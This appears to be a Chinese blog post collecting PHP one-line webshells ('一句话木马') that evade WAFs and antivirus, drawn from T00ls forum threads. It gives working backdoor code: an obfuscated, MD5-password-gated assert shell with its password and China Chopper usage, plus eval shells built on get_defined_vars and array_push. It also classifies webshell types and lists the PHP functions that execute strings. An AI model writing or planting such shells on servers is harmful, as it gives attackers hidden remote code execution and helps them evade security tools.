在T00ls的一句…
1.利用md5绕过waf的一句话
本体:
<?php
$str1 = 'aH(UUH(fsdfH(UUH(fsdf,fdgdefjg0J)r&%F%*^G*t';
$str2 = strtr($str1,array('aH(UUH(fsdfH(UUH(fsdf,'=>'as','fdgdefjg0J)'=>'se','r&%F%*^G*t'=>'rt'));
$str3 = strtr($str2,array('s,'=>'s','fdgdefjg0J)r&%F%*^G*'=>'er'));
if(md5(@$_GET['a']) =='2858b958f59138771eae3b0c2ceda426'){
$str4 = strrev($_POST['a']);
$str5 = strrev($str4);
$str3($str5);
}
?>
本质
<?php
if(md5(@$_GET['a']) =='2858b958f59138771eae3b0c2ceda426'){
assert($_POST['a']);
}
?>
利用方式
MD5("3fion0hj5965698jhh") == "2858b958f59138771eae3b0c2ceda426"
http://x.x.x.x/x.php?a=3fion0hj5965698jhh 菜刀密码a可以连上。
但是执行php代码需要反转:
比如 正常a=phpinfo(); 这个需要a=;)(ofniphp才能正确执行。 绕waf
2.get_defined_vars函数马
<?php
eval(get_defined_vars()['_POST'][true]);
?>
3.array_push函数马
$arr = array('0','1',array('0',$_GET['1']));
array_push($arr,'3',array('0','1',array('0')));
define('G',$arr1[2][1]);
eval(G);
define('G',$_GET[1]);
eval('1;'.G);
4.待更....
Webshell防杀学习
把用纯php代码实现的Webshell后门(以下统称为"木马"),主要分为以下几类:
- 单/少功能木马
能完成写入文件、列目录、查看文件、执行一些系统命令等少量功能的Webshell。 -
逻辑木马
利用系统逻辑漏洞或构造特殊触发条件,绕过访问控制或执行特殊功能的Webshell。 -
一句话木马
可以在目标服务器上执行php代码,并和一些客户端(如菜刀、Cknife)进行交互的Webshell。 -
多功能木马
根据PHP语法,编写较多代码,并在服务器上执行,完成大量间谍功能的Webshell(大马)。
一句话原理
客户端将PHP代码使用特殊参数名(密码),发送给放置在服务端上的一句话木马文件;
一句话木马脚本在服务器上执行发来的PHP代码,然后将执行结果回传给客户端,客户端将结果解析并展示给操作者。
查杀现状
根据一句话木马原理,我们知道必须要在服务器上执行客户端发来的字符串形式的PHP代码。
脚本要将字符串(或文件流)当作PHP代码执行,目前主要会使用以下函数:
函数 | 说明 |
---|---|
eval | PHP 4, PHP 5, PHP 7+ 均可用,接受一个参数,将字符串作为PHP代码执行 |
assert | PHP 4, PHP 5, PHP 7.2 以下均可用,一般接受一个参数,php 5.4.8版本后可以接受两个参数 |
正则匹配类 | preg_replace/ mb_ereg_replace/preg_filter等 |
文件包含类 | include/include_once/require/require_once/file_get_contents等 |
文章参考
LandGrey php一句话木马绕过研究
https://www.t00ls.net/viewthread.php?tid=45816&highlight=%E4%B8%80%E5%8F%A5%E8%AF%9D
阿乾 18.5.11分享个过D盾某狗的一句话小马
https://www.t00ls.net/viewthread.php?tid=45815&highlight=%E4%B8%80%E5%8F%A5%E8%AF%9D
love71 简短的免杀一句话
https://www.t00ls.net/viewthread.php?tid=45404&highlight=%E4%B8%80%E5%8F%A5%E8%AF%9D